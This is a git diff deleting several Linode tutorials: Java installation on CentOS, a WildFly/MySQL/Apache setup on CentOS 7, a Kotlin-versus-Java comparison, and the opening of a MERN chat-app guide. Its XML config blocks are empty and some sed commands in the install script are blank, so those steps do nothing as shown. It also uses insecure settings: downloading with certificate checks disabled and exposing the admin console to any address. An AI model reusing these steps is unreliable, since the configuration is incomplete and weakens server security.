plan on using Java to write software, the JRE is all you need. In CentOS, the JRE package is `java-$(version)-openjdk`. The `openjdk-headless` package contains a minimal implementation of the JDK for executing Java applications on the command line. In this example, you'll install the minimal version of OpenJDK 8. - - sudo yum install java-1.8.0-openjdk-headless - -After the installation finishes, verify its completion using `yum list installed | grep "java"`. The output should be: - - java-1.8.0-openjdk-headless.x86_64 1:1.8.0.131-3.b12.el7_3 @updates - javapackages-tools.noarch 3.4.1-11.el7 @base - python-javapackages.noarch 3.4.1-11.el7 @base - tzdata-java.noarch 2017b-1.el7 @updates - -## Install the Java Development Kit (Java JDK) - -If you plan on using Java to write or edit programs on your Linode, install the JDK. - - sudo yum install java-1.8.0-openjdk-devel - -After the installation finishes, verify its completion using `yum list installed | grep "openjdk-devel"`. The output should be: - - java-1.8.0-openjdk-devel.x86_64 1:1.8.0.131-3.b12.el7_3 @updates - -You can also verify by running the Java compiler, `javac`. If you need to compile Java code on your Linode, run `javac foobar.java`. Then, run the application with `java foobar`. diff --git a/docs/guides/development/java/java-development-wildfly-centos-7/index.md b/docs/guides/development/java/java-development-wildfly-centos-7/index.md deleted file mode 100644 index 20ff3e35611..00000000000 --- a/docs/guides/development/java/java-development-wildfly-centos-7/index.md +++ /dev/null @@ -1,488 +0,0 @@ ---- -slug: java-development-wildfly-centos-7 -title: 'Java Development with WildFly on CentOS 7' -description: 'Set up and configure WildFly as your Java Application Server to develop, test, and run, Java applications' -authors: ["Ashraf Fouad"] -contributors: ["Ashraf Fouad"] -published: 2015-09-18 -keywords: ["java", "jboss", "jboss as", "wildfly", "apache", "mysql", "mariaDB"] -tags: ["mysql","apache","java","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/development/java-development-wildfly-centos-7/','/development/java-development-wildfly-centos-7/','/development/java/java-development-wildfly-centos-7/'] -external_resources: - - '[WildFly Administration Guide](https://books.google.com.sa/books?id=rufiBAAAQBAJ)' -audiences: ["intermediate"] -concentrations: ["Web Applications"] -languages: ["java"] -relations: - platform: - key: java-development-wildfly - keywords: - - distribution: CentOS 7 ---- - -![Java Development with WildFly on CentOS 7](Java-Development-with-WildFly-on-CentOS-7-smg.jpg) - -JBoss AS (Renamed to [WildFly](http://wildfly.org/)) has been used for many years as one of the best known performing & free community Java Application Server. The attention even increased when Red Hat started providing commercial support to its enterprise version [JBoss EAP](http://www.redhat.com/en/technologies/jboss-middleware/application-platform) with support to on-premises, virtual, or cloud. Red Hat also provides commercial support for Red Hat Enterprise Linux & building huge ecosystem of multiple products to serve its clients. - -Many software companies working with Java technology are targeting the stack of WildFly on CentOS so it supports clients with limited budget, and also supports JBoss EAP on RedHat Enterprise Linux for customers looking for commercial support, so they ensure their software meets various customer segments. - -This article has been introduced to show one of the most common architecture in Java application hosting stack, it consists of: - -1. CentOS 7: As Operating System. -2. MySQL 5.6.24 Community Server: As RDBMS. -3. WildFly 8.2 Final: As Java Application Server. -4. Apache HTTP 2.4.6: As HTTP Server for serving static content & using mod_jk 1.2.40 for directing calls to WildFly (Apache as reverse proxy). - -After full installation of above stack it was consuming around 650 MB of RAM with a very small sample application, so maybe you can consider Linode plan 1 GB for small application & larger plan based on your application. - -### Target Audience - -- Developers building development server for their project. -- Application Server Administrator who would like to start switching to WildFly & need some guidance in their standalone setup. - -## Before You Begin - -- Please follow the steps mentioned in [Linode: Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) but skip the section Creating a Firewall as iptables has been replaced in CentOS 7 with [firewalld](https://fedoraproject.org/wiki/FirewallD). - -- Start & enable Firewalld - - sudo systemctl start firewalld - sudo systemctl enable firewalld - -- Please follow the steps mentioned in [Linode: Hosting a Website](/cloud/guides/hosting-a-website-ubuntu-18-04/) sections "Installing MySQL", "Optimizing MySQL for a Linode 2GB", "Creating a Database". - - -### Oracle Java 8 SE installation -{{< note >}} -Oracle is producing many updates for Java, so below steps ensures you are getting the latest updated Java version. -{{< /note >}} - -1. In any browser go to [Oracle Java SE download page](http://www.oracle.com/technetwork/java/javase/downloads/index.html). - -2. Select Java JDK 8 download. - -3. Accept license agreement. - -4. Copy the link location of Linux x64 bit as the product & the download with extension tar.gz not the RPM. - -5. Switch to destination folder: - - cd /opt - -6. Download Java, remember to change the URL with the latest you got in step 4: - - sudo wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24=http%3A%2F%2Fwww.oracle.com%2F; oraclelicense=accept-securebackup-cookie" "http://download.oracle.com/otn-pub/java/jdk/8u45-b14/jdk-8u45-linux-x64.tar.gz" - -7. Extract archived content, remember exact name will differ based on your version - - sudo tar xzf jdk-*.tar.gz - -8. Install Java with Alternatives (I prefer this method as in future you most probably will have multiple versions of Java running on same server, so better use alternative to make sure you know the default version of your OS & be able to change it easily). In the below option for new Linode you will find only 1 option. Be sure to change all instances of `jdk1.8.0_45` to include the correct version: - - cd /opt/jdk1.8.0_45/ - sudo alternatives --install /usr/bin/java java /opt/jdk1.8.0_45/bin/java 2 - sudo alternatives --config java - - It will output: - - There is 1 program that provides 'java'. - Selection Command - *+ 1 /opt/jdk1.8.0_45/bin/java - - Enter to keep the current selection[+], or type selection number: 1 - - Select `1`. - -9. Setup *javac* and *jar* commands path using alternatives, then check the java version installed. Replace all instances of `jdk1.8.0_45` with the appropriate version: - - sudo alternatives --install /usr/bin/jar jar /opt/jdk1.8.0_45/bin/jar 2 - sudo alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_45/bin/javac 2 - sudo alternatives --set jar /opt/jdk1.8.0_45/bin/jar - sudo alternatives --set javac /opt/jdk1.8.0_45/bin/javac - - java -version - java version "1.8.0_45" - Java(TM) SE Runtime Environment (build 1.8.0_45-b14) - Java HotSpot(TM) 64-Bit Server VM (build 25.45-b02, mixed mode) - -10. Configure environment variables, replacing `jdk1.8.0_45` with the proper version: - - export JAVA_HOME=/opt/jdk1.8.0_45 - export JRE_HOME=/opt/jdk1.8.0_45/jre - export PATH=$PATH:/opt/jdk1.8.0_45/bin:/opt/jdk1.8.0_45/jre/bin - -11. The above command will work for this session only, but you will need to be added to all system users especially when server reboots, so for the Bourne shell, create a new file called `/etc/profile.d/java.sh`, replacing `jdk1.8.0_45` with the appropriate version: - - {{< file "/etc/profile.d/java.sh" shell >}} -if ! echo ${PATH} | grep -q /opt/jdk1.8.0_45/bin ; then - export PATH=/opt/jdk1.8.0_45/bin:${PATH} -fi -if ! echo ${PATH} | grep -q /opt/jdk1.8.0_45/jre/bin ; then - export PATH=/opt/jdk1.8.0_45/jre/bin:${PATH} -fi -export JAVA_HOME=/opt/jdk1.8.0_45 -export JRE_HOME=/opt/jdk1.8.0_45/jre -export CLASSPATH=.:/opt/jdk1.8.0_45/lib/tools.jar:/opt/jdk1.8.0_45/jre/lib/rt.jar - -{{< /file >}} - - -12. For the C shell, create a new file called `/etc/profile.d/java.csh`, replacing `jdk1.8.0_51` with the appropriate version: - - {{< file "/etc/profile.d/java.csh" shell >}} -if ( "${path}" !~ */opt/jdk1.8.0_45/bin* ) then - set path = ( /opt/jdk1.8.0_45/bin $path ) -endif -if ( "${path}" !~ */opt/jdk1.8.0_45/jre/bin* ) then - set path = ( /opt/jdk1.8.0_45/jre/bin $path ) -endif -setenv JAVA_HOME /opt/jdk1.8.0_45 -setenv JRE_HOME /opt/jdk1.8.0_45/jre -setenv CLASSPATH .:/opt/jdk1.8.0_45/lib/tools.jar:/opt/jdk1.8.0_45/jre/lib/rt.jar - -{{< /file >}} - - -13. Make sure of the owner and ACL for the profile files by executing the following: - - sudo chown root:root /etc/profile.d/java.sh - sudo chmod 755 /etc/profile.d/java.sh - sudo chown root:root /etc/profile.d/java.csh - sudo chmod 755 /etc/profile.d/java.csh - -14. Now Java is available to everyone in system. - -## WildFly 8.2 installation - -1. This script is based on great article & code mentioned in "Dmitriy Sukharev. IT Blog", the original article & original script can be found [here](http://sukharevd.net/wildfly-8-installation.html) I have done few modification to do the following: - - 1. Add backup to some important files before modification. - - 2. Added modification to solve warning messages of using JDK 8 with WildFly (Default is JDK 7). - - 3. Added scripts for firewalld to get WildFly working on your Linode instance. - - 4. Enable access from anywhere for admin console (Recommended for development environment only). - - 5. Remove other Linux distros, only CentOS is available for simplicity. - - 6. Add WildFly to automatic start after boot. - - 7. Show progress on screen for some commands. - - 8. Added more comments for someone with basic CentOS & Linux knowledge like myself :) - - Create wildfly installation file, & execute using root user: - - {{< file "/opt/wildfly-install.sh" shell >}} -#!/bin/bash -#Title : wildfly-install.sh -#Description : The script to install Wildfly 8.x -#Original script: http://sukharevd.net/wildfly-8-installation.html - -# This version is the only variable to change when running the script -WILDFLY_VERSION=8.2.0.Final -WILDFLY_FILENAME=wildfly-$WILDFLY_VERSION -WILDFLY_ARCHIVE_NAME=$WILDFLY_FILENAME.tar.gz -WILDFLY_DOWNLOAD_ADDRESS=http://download.jboss.org/wildfly/$WILDFLY_VERSION/$WILDFLY_ARCHIVE_NAME - -# Specify the destination location -INSTALL_DIR=/opt -WILDFLY_FULL_DIR=$INSTALL_DIR/$WILDFLY_FILENAME -WILDFLY_DIR=$INSTALL_DIR/wildfly - -WILDFLY_USER="wildfly" -WILDFLY_SERVICE="wildfly" - -WILDFLY_STARTUP_TIMEOUT=240 -WILDFLY_SHUTDOWN_TIMEOUT=30 - -SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" - -if [[ $EUID -ne 0 ]]; then -echo "This script must be run as root." -exit 1 -fi - -echo "Downloading: $WILDFLY_DOWNLOAD_ADDRESS..." -[ -e "$WILDFLY_ARCHIVE_NAME" ] && echo 'Wildfly archive already exists.' -if [ ! -e "$WILDFLY_ARCHIVE_NAME" ]; then -wget $WILDFLY_DOWNLOAD_ADDRESS -if [ $? -ne 0 ]; then -echo "Not possible to download Wildfly." -exit 1 -fi -fi - -echo "Cleaning up..." -rm -f "$WILDFLY_DIR" -rm -rf "$WILDFLY_FULL_DIR" -rm -rf "/var/run/$WILDFLY_SERVICE/" -rm -f "/etc/init.d/$WILDFLY_SERVICE" - -echo "Installation..." -mkdir $WILDFLY_FULL_DIR -tar -xzf $WILDFLY_ARCHIVE_NAME -C $INSTALL_DIR -ln -s $WILDFLY_FULL_DIR/ $WILDFLY_DIR -useradd -s /sbin/nologin $WILDFLY_USER -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR/ - -echo "Registering Wildfly as service..." -cp $WILDFLY_DIR/bin/init.d/wildfly-init-redhat.sh /etc/init.d/$WILDFLY_SERVICE -WILDFLY_SERVICE_CONF=/etc/default/wildfly.conf - -chmod 755 /etc/init.d/$WILDFLY_SERVICE - -if [ ! -z "$WILDFLY_SERVICE_CONF" ]; then -echo "Configuring service..." -echo JBOSS_HOME=\"$WILDFLY_DIR\" > $WILDFLY_SERVICE_CONF -echo JBOSS_USER=$WILDFLY_USER >> $WILDFLY_SERVICE_CONF -echo JBOSS_MODE=standalone >> $WILDFLY_SERVICE_CONF -echo JBOSS_CONFIG=standalone.xml >> $WILDFLY_SERVICE_CONF -echo STARTUP_WAIT=$WILDFLY_STARTUP_TIMEOUT >> $WILDFLY_SERVICE_CONF -echo SHUTDOWN_WAIT=$WILDFLY_SHUTDOWN_TIMEOUT >> $WILDFLY_SERVICE_CONF -fi - -echo "Configuration backup" -cp $WILDFLY_DIR/standalone/configuration/standalone.xml $WILDFLY_DIR/standalone/configuration/standalone-org.xml -cp $WILDFLY_DIR/bin/standalone.conf $WILDFLY_DIR/bin/standalone-org.conf - -echo "Configuring application server..." -sed -i -e 's,,,g' $WILDFLY_DIR/standalone/configuration/standalone.xml -# Enable access from any server -sed -i -e 's,,,g' $WILDFLY_DIR/standalone/configuration/standalone.xml -sed -i -e 's,,,g' $WILDFLY_DIR/standalone/configuration/standalone.xml - -# The below line is added to avoid warning when starting WildFly with jdk 8 SE, as the JVM memory parameter changed -sed -i -e 's,MaxPermSize,MaxMetaspaceSize,g' $WILDFLY_DIR/bin/standalone.conf - -echo "Configuring Firewalld for WildFly ports" -firewall-cmd --permanent --add-port=8080/tcp -firewall-cmd --permanent --add-port=8443/tcp -firewall-cmd --permanent --add-port=9990/tcp -firewall-cmd --permanent --add-port=9993/tcp -firewall-cmd --reload - -echo "Backup management user" -cp $WILDFLY_DIR/standalone/configuration/mgmt-users.properties $WILDFLY_DIR/standalone/configuration/mgmt-users-org.properties -cp $WILDFLY_DIR/standalone/configuration/application-users.properties $WILDFLY_DIR/standalone/configuration/application-users-org.properties -cp $WILDFLY_DIR/domain/configuration/mgmt-users.properties $WILDFLY_DIR/domain/configuration/mgmt-users-org.properties -cp $WILDFLY_DIR/domain/configuration/application-users.properties $WILDFLY_DIR/domain/configuration/application-users-org.properties -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR/standalone/configuration/mgmt-users-org.properties -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR/standalone/configuration/application-users-org.properties -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR/domain/configuration/mgmt-users-org.properties -chown -R $WILDFLY_USER:$WILDFLY_USER $WILDFLY_DIR/domain/configuration/application-users-org.properties - -echo "Starting Wildfly" -service $WILDFLY_SERVICE start -chkconfig --add wildfly -chkconfig --level 2345 wildfly on - -echo "Done." - -{{< /file >}} - - -2. Make the script executable: - - sudo chmod +x /opt/wildfly-install.sh - -3. Run the script: - - cd /opt - sudo ./wildfly-install.sh - -4. You will need to add to add management user (Web and/or CLI) to be able to access the management console, this can be simply done by running the command simply run the shell script in `/opt/wildfly/bin/add-user.sh`: - - 1. **Select option a for Management user.** - 2. **Username:** Type the username - 3. **Password:** Type the password - 4. **What groups do you want this user to belong to?:** Leave empty and click Enter - 5. **About to add user ... Is this correct?:** yes - 6. **Is this new user going to be used for one AS process to connect to another AS process:** yes (Just in-case, we need this in the future, i.e. domain setup). - 7. You will get this message: **To represent the user add the following to the server-identities definition**. This is just to be used in domain installation. Keep it if you needed to switch to domain installation later.** - - You should be able to test the wildfly by using the URL `http://123.45.67.89:8080`, and the WildFly Admin console using the URL `http://123.45.67.89:9990/console`, replacing `123.45.67.89` with your Linode's IP address. - -5. I prefer that you install any sample application (Use your own, or simply get the [default sample from Tomcat](https://tomcat.apache.org/tomcat-6.0-doc/appdev/sample/) and make sure it is working using the port 8080, as it will be used when testing after adding Apache HTTP. The sample application can be deployed from the WildFly admin console. - -### Configure MySQL Driver in WildFly & Add DataSource - -Please Follow these steps to install MySQL driver as "module" in WildFly - -1. Log in as root, and create a folder within WildFly installation for the new module: - - su - mkdir -p /opt/wildfly/modules/com/mysql/main - - -2. Download the [jdbc driver of mysql](http://dev.mysql.com/downloads/connector/j/) (mysql-connector-java-*-bin.jar) to `/opt/wildfly/modules/com/mysql/main`. - -3. Create a file defining the module to the same folder `/opt/wildfly/modules/com/mysql/main` named `module.xml` have the following information, replacing the `mysql-connector-java-5.1.34-bin.jar` with the correct version: - - {{< file "/opt/wildfly/modules/com/mysql/main/module.xml" xml >}} - - - - - - - - - - -{{< /file >}} - - -4. Change ownership for the user wildfly for the files by issuing the command: - - chown -R wildfly:wildfly /opt/wildfly/modules - -5. We need to define MySQL driver in `/opt/wildfly/standalone/configuration/standalone.xml` by adding the following driver definition within the drivers tag, by default you will find only definition for h2: - - {{< file "/opt/wildfly/standalone/configuration/standalone.xml" xml >}} - - - org.h2.jdbcx.JdbcDataSource - - - com.mysql.jdbc.jdbc2.optional.MysqlXADataSource - - - -{{< /file >}} - - -6. Restart WildFly so changes take effect: - - systemctl restart wildfly - -7. Login to the management console at `http://123.45.67.89:9990/console`. - -8. Click **Configuration**, then on the left menu **SubSystems** -> **Connector** -> **DataSources**. In the **DataSources**0 tab, click **Add**. - -9. For step 1 set: - - - **Name:** MySQLDS - - **JNDI Name:** java:/datasource/MySQLDS - - Click **Next**. - -10. In step 2 select the **mysqlDriver** listed and click **Next**. - -11. In step 3 insert `jdbc:mysql://localhost:3066/type_db_name` as your **Connection URL**, replacing `type_db_name` with your database name, and set the username and password to your MySQL username and password. Leave the **Security Domain** blank. - - Click **Test Connectivity** and then **Done**. - -12. Select the MySQLDS Datasource, and click **Enable**. - -13. From your terminal, exit the root user session: - - exit - -WildFly is now connected to MySQL. - -## Apache HTTP Server installation - -1. Install Apache: - - sudo yum install -y httpd - -2. Start and enable Apache: - - sudo systemctl start httpd - sudo systemctl enable httpd - -3. Add a firewall exception for port 80: - - sudo firewall-cmd --permanent --add-port=80/tcp - sudo firewall-cmd --reload - -4. Backup your default Apache configuration: - - sudo cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd-org.conf - -You can test your installation successfully by opening a browser and typing the server link `http://123.45.67.89`, replacing the IP address with your own. You should be getting the default provided testing page 123. - -### Configuring Apache HTTP as reverse proxy for WildFly using mod_jk - -There are multiple ways for setting Apache HTTP to direct calls to WildFly (mod_jk, mod_proxy, mod_cluster), the decision mainly to select mod_jk was based on [this article](http://www.programering.com/a/MTO3gDMwATg.html) that its content is distributed across several sites, you will find detailed pros & cons. - -1. `mod_jk` provided by Tomcat needs to be built on the server, that's why you need to install build & make tools to your Linode using following command: - - sudo yum install httpd-devel gcc gcc-c++ make libtool - sudo ln -s /usr/bin/apxs /usr/sbin/apxs - -2. Download `mod_jk` to temporary directory till build using following commands: - - cd /tmp - wget http://www.apache.org/dist/tomcat/tomcat-connectors/jk/tomcat-connectors-1.2.40-src.tar.gz - tar -xf tomcat-connectors-1.2.40-src.tar.gz - cd /tmp/tomcat-connectors-1.2.40-src/native - ./buildconf.sh - ./configure --with-apxs=/usr/sbin/apxs - make - -3. After successful build the library a file named `mod_jk.so` should be created in `/tmp/tomcat-connectors-1.2.40-src/native/apache-2.0/`. Copy the file to Apache http modules: - - sudo cp /tmp/tomcat-connectors-1.2.40-src/native/apache-2.0/mod_jk.so /usr/lib64/httpd/modules - -4. We need to configure Apache HTTP server to use this module, we will create worker file for mod_jk, and add its content (Status worker is useful in debugging as well): - - {{< file "/etc/httpd/conf.d/workers.properties" aconf >}} -worker.list=jboss1,jkstatus -worker.jkstatus.type=status -worker.jboss1.type=ajp13 -worker.jboss1.port=8009 -# The host should be using IP not server name as reported bug -# https://www.apachelounge.com/viewtopic.php?t=5883 -worker.jboss1.host=127.0.0.1 - -{{< /file >}} - - -5. Instead of modifying Apache configuration file; better create extra Apache HTTP configuration file that will work as Apache by default has in the file `/etc/httpd/conf/httpd.conf` the directive `IncludeOptional conf.d/*.conf`: - - {{< file "/etc/httpd/conf.d/modjk.conf" aconf >}} -# To avoid error AH00558: httpd: Could not reliably -# determine the server's fully qualified domain name -# replace 1.2.3.4 with your server IP -ServerName 1.2.3.4 - -# Load mod_jk -LoadModule jk_module modules/mod_jk.so -JkWorkersFile /etc/httpd/conf.d/workers.properties -JkLogFile /var/log/httpd/mod_jk_log - -# To be changed to warn in production, the mount point should match your application sample pathes -JkLogLevel info -JKMount /sample jboss1 -JkMount /sample/* jboss1 -JKMount /jkstatus jkstatus - -# To avoid write access error in mod_jk -# https://bugzilla.redhat.com/show_bug.cgi?id=912730 -JKShmFile /var/tmp/jk-runtime-status - -{{< /file >}} - - -6. Restart Apache: - - sudo systemctl restart httpd - - -7. Try the URL `http://123.45.67.89/jkstatus`, replacing `123.45.67.89` with your Linode IP. It should display a page for "JK Status Manager". - -8. We need to configure WildFly for accepting calls from Apache HTTP, Open the admin console, and selection the **Configuration** Menu -> **Web** -> **HTTP**. Then click the **View** link beside the **default-server**. - -9. Select the **AJP Listener** above, and click **Add**. - - - **Name:** default.ajp - - **Socket binding:** ajp - - Click **Save**, then ensure the **Enabled** attribute is set to **true**. - -10. Go to your Linode's IP address. It should show Apache normal testing page. To see if the sample application works, go to `http://123.45.67.89/sample`, replacing `123.45.67.89` if your Linode IP. It should show sample application deployed in JBoss. diff --git a/docs/guides/development/java/kotlin-vs-java-understanding-their-differences/index.md b/docs/guides/development/java/kotlin-vs-java-understanding-their-differences/index.md deleted file mode 100644 index 0acd245c0c5..00000000000 --- a/docs/guides/development/java/kotlin-vs-java-understanding-their-differences/index.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -slug: kotlin-vs-java-understanding-their-differences -title: "Kotlin vs. Java: Key Differences" -title_meta: "Kotlin vs. Java: Understanding their Differences" -description: "In this guide you learn about the Kotlin programming language and how it's different from Java." -authors: ["Jack Wallen"] -contributors: ["Jack Wallen"] -published: 2021-09-17 -keywords: ['kotlin vs java', 'what is kotlin', 'what is kotlin used for'] -tags: ['java'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -## What is Kotlin? - -[Kotlin](https://kotlinlang.org/) is a statically-typed, open source programming language. It is designed to be interoperable with Java and provide a cleaner, simpler, and a faster mixture of object-oriented, and functional programming. Kotlin is the brainchild of [JetBrains](https://www.jetbrains.com/) and in 2011 they unveiled Project Kotlin, which served as a new language for the Java Virtual Machine. JetBrains set out to create a new language, with all of the features they needed, and the compile speed of Java. In 2012, JetBrains open-sourced the Kotlin project, under the Apache 2 license. It wasn't until February 15, 2016, that Kotlin 1.0 was released. - -This guide provides an introduction to Kotlin, including its key features, differences with Java, and how it can be used to create a server-side applications. - -### Key Features of Kotlin - -Kotlin includes several features that make it a good choice for developers. Those features include: - -- Interoperability with Java. -- Clean, compact syntax. -- Offers both functions and functional programming. -- Includes data classes. -- Reduces code length (approximately 20% less code when compared to Java). -- Statically typed. -- Extendable, via functions. -- Fewer runtime crashes. -- Smart cast function that help improve an application's performance. -- Open-source, so it has a low cost of adoption. -- Does not have checked exceptions. -- Supports multiple threads to run intensive operations. -- Supports coroutines. - -### What is Kotlin Used For? - -Because Kotlin compiles to Java bytecode and the runtime is a single JAR, you can use Kotlin anywhere you would use Java. Kotlin code can be compiled to JavaScript, so you can use it to write frontend web application code. Kotlin’s is very popular for Android development and provides a way to share code between mobile platforms. - -Other uses for Kotlin include: - -- Backend and server-side development. -- Data science (as a replacement for Scala/Python). -- iOS applications. -- Embedded systems. -- Data analysis. -- Game development. - -## Kotlin and Java: How are they Different? - -There are several key differences between Kotlin and Java. The biggest difference between the two languages is that Kotlin doesn't provide for checked exceptions. This means there's no need to catch or declare any exceptions. The lack of support for checked exceptions can be considered a pro or a con depending on your preference as a developer. If you dislike having to use try and catch blocks in your Java code, then Kotlin's omission of checked exceptions is a welcome change. However, if you see checked exceptions as a solid means for error recovery, you might find Kotlin a bit frustrating. - -Another big difference between Kotlin and Java is the brevity of Kotlin code. A perfect example of this is a basic "Hello, World!" program. In Java, the code for this resembles the following: - -{{< file >}} -class MyClass{ - public static void main(String args[]) - { - System.out.println("Hello World"); - } -} - -{{< /file >}} - -In Kotlin, this same code is written as follows: - -{{< file >}} -fun main(args:Array){ - println("Hello World"); -} -{{< /file >}} - -That's half the amount of code lines in Kotlin. If you're working with a larger application, programming with Kotlin reduces the amount of code you have to write. - -In Java's favor, it enjoys a much larger community, since it's been around much longer –since 1995. This means there are considerably more resources available for Java in comparison to Kotlin. - -Other differences between Kotlin and Java include: - -- Kotlin supports smart cast (a function that identifies immutable types and performs implicit cast by the compiler). For example, class casting in Java requires first checking the type of variable using the `instance of` operator and then casting it to the target type. With Kotlin, when performing `!is` or `is` checks on a variable, the compiler tracks the information and automatically casts the variable to the target type. - -- Kotlin supports type inference, whereas, with Java, types must be specified explicitly. - -- Java compilation time is 15-20% faster than Kotlin compilation time. - -- With Kotlin, it's not possible to assign null values to variables or return values. With Java, null values can be assigned, but accessing objects pointing to null values raises an exception. - -- Kotlin supports extension functions, whereas Java does not. - -- Kotlin uses invariant arrays which means the language doesn't allow a user to assign `Array` to `Array`. This feature prevents runtime failures, which is an issue found in Java. - -## Kotlin for Server-Side Applications - -Kotlin can be used to develop server-side application code. When using Kotlin for this purpose you gain several benefits which include: - -- Features such as type-safe builders and delegated properties make it possible to build powerful abstractions. -- Coroutine support makes it possible to scale server-side applications. -- Java interoperability means you can continue using Java while gaining the modern benefits of Kotlin. Since Java has one of the largest programming ecosystems in the world, this is a big plus. -- Supports gradual migration from Java. -- Supports framework-specific tooling. -- Null-safety helps eliminate issues with dereferencing null values. -- Intuitive action chains make it possible to easily transform a list of `X` objects to `Y` objects (for example `listOf(X(1)`, `x(2)`, and `X(3)).map { x -> x.toY() })`. - -For those who depend on frameworks, Kotlin enjoys the support of several. - -[Spark Framework](https://sparkjava.com/), not to be confused with Apache Spark, was originally a web framework for Java development, and it now supports Kotlin. Spark makes it possible to build expressive web applications using declarative syntax. - -[Ktor](https://ktor.io/) was developed by JetBrains and is used to build connected applications. Ktor offers strongly-typed endpoints and makes it possible to exchange data across platforms. Ktor assists you with building asynchronous client and server-side applications, ranging from microservices to multiplatform HTTP client applications. - -[Javalin](https://javalin.io) isn't a full-blown framework, but rather a REST API library that supports template engines, WebSockets, and static file-serving. Javalin also includes a built-in Jetty server and template/markdown rendering. - -[Spring](https://spring.io/) introduced support for Kotlin in version 5.0 and is one of the more popular tools for building enterprise-level web applications. Spring is a module MVC framework, which means you only have to use what you need. Spring is a great framework for building web applications, enterprise applications, REST APIs, and distributed systems. - -## Conclusion - -For anyone looking to the future of Android app development, Kotlin is the way to go. With a concise language, efficiently compiled code, extendability, and plenty of other attractive features, Android developers can do much more with far less. If you're more of a general-purpose Java developer, you can still benefit from Kotlin, thanks to seamless interoperability. Those who already know Java can get up to speed with Kotlin in no time. Check out [Kotlin](https://kotlinlang.org/) to see if it doesn't become your go-to language for Android and server-side application development. diff --git a/docs/guides/development/javascript/build-mern-stack-chat-application/index.md b/docs/guides/development/javascript/build-mern-stack-chat-application/index.md deleted file mode 100644 index 45662cc76cc..00000000000 --- a/docs/guides/development/javascript/build-mern-stack-chat-application/index.md +++ /dev/null @@ -1,480 +0,0 @@ ---- -slug: build-mern-stack-chat-application -title: "Build a Basic Chat Application using the MERN Stack" -description: "Learn how to develop a MERN stack app for an Ubuntu or Debian server." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2023-09-14 -modified: 2024-05-06 -keywords: ['mern stack','mern tutorial','mern app'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[MongoDB: How to Use MERN Stack](https://www.mongodb.com/languages/mern-stack-tutorial)' -- '[Mozilla Developer Network Web Docs: Express Tutorial Part 3: Using a Database (with Mongoose)](https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose)' ---- - -MERN is a modern web application development stack consisting of MongoDB, Express JS, React, and Node.js. Its bundle of robust and well-supported open-source software provides a solid foundation for building a wide range of web applications. - -The MERN stack has the advantage of using React. Other variants exist, like the MEAN stack (which uses Angular) and the MEVN stack (which uses Vue). But with React, you get the advantage of server-side rendering and improved availability for web crawlers. - -This MERN tutorial helps you get started building a MERN app of your own for an Ubuntu 20.04 or Debian 10 server. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide, and complete the steps for setting your Linode's hostname and timezone. - -1. This guide uses `sudo` wherever possible. Complete the sections of our [How to Secure Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access, and remove unnecessary network services. - -1. Update your system using the following command: - - ```command - sudo apt update && sudo apt upgrade - ``` - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What Is MERN Stack? - -A MERN architecture is a full-stack framework for developing modern web applications. It is a variation of the MEAN stack but replaces Angular (the **A**) with React. - -A MERN stack is made up of the following components: - -- [MongoDB](https://www.mongodb.com/) document database -- [Express JS](https://expressjs.com/) server-side framework -- [React](https://reactjs.org/) client-side framework -- [Node](https://nodejs.org/en/about/) web server - -Each of these technologies is well-supported and offers robust features. This makes a MERN stack a good choice for developing new web applications. - -## How to Develop a MERN App - -This section walks you through installing MongoDB and Node.js then setting up an Express JS server and React frontend. By the end, you have a complete MERN app, ready to be customized and expanded to your needs. - -After building the application, the last section of this guide shows you how to start up your MERN stack and test it out. - -### Install the Prerequisites - -Two of the MERN components should be installed before you start on your project: MongoDB and Node.js. Once you have them installed, you can create a project, where you install Express JS and React as dependencies. - -#### Install MongoDB - -1. Install `gnupg` using the following command: - - ```command - sudo apt install gnupg - ``` - -1. Import the GPG key for MongoDB. - - ```command - wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add - - ``` - -1. Add the MongoDB package list to APT. - - {{< tabs >}} - {{< tab "Debian 10 (Buster)" >}} - ```command - echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list - ``` - {{< /tab >}} - {{< tab "Ubuntu 20.04 (Focal)" >}} - ```command - echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/5.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list - ``` - {{< /tab >}} - {{< /tabs >}} - -1. Update the APT package index using the following command: - - ```command - sudo apt update - ``` - -1. Install MongoDB using the following command: - - ```command - sudo apt install mongodb-org - ``` - -See the official documentation for more on installing MongoDB [on Debian](https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/) and [on Ubuntu](https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/). You can also refer to our [How To Install MongoDB on Ubuntu 16.04](/cloud/guides/install-mongodb-on-ubuntu-16-04/) guide. - -#### Install Node.js - -1. Install the Node Version Manager, the preferred method for installing 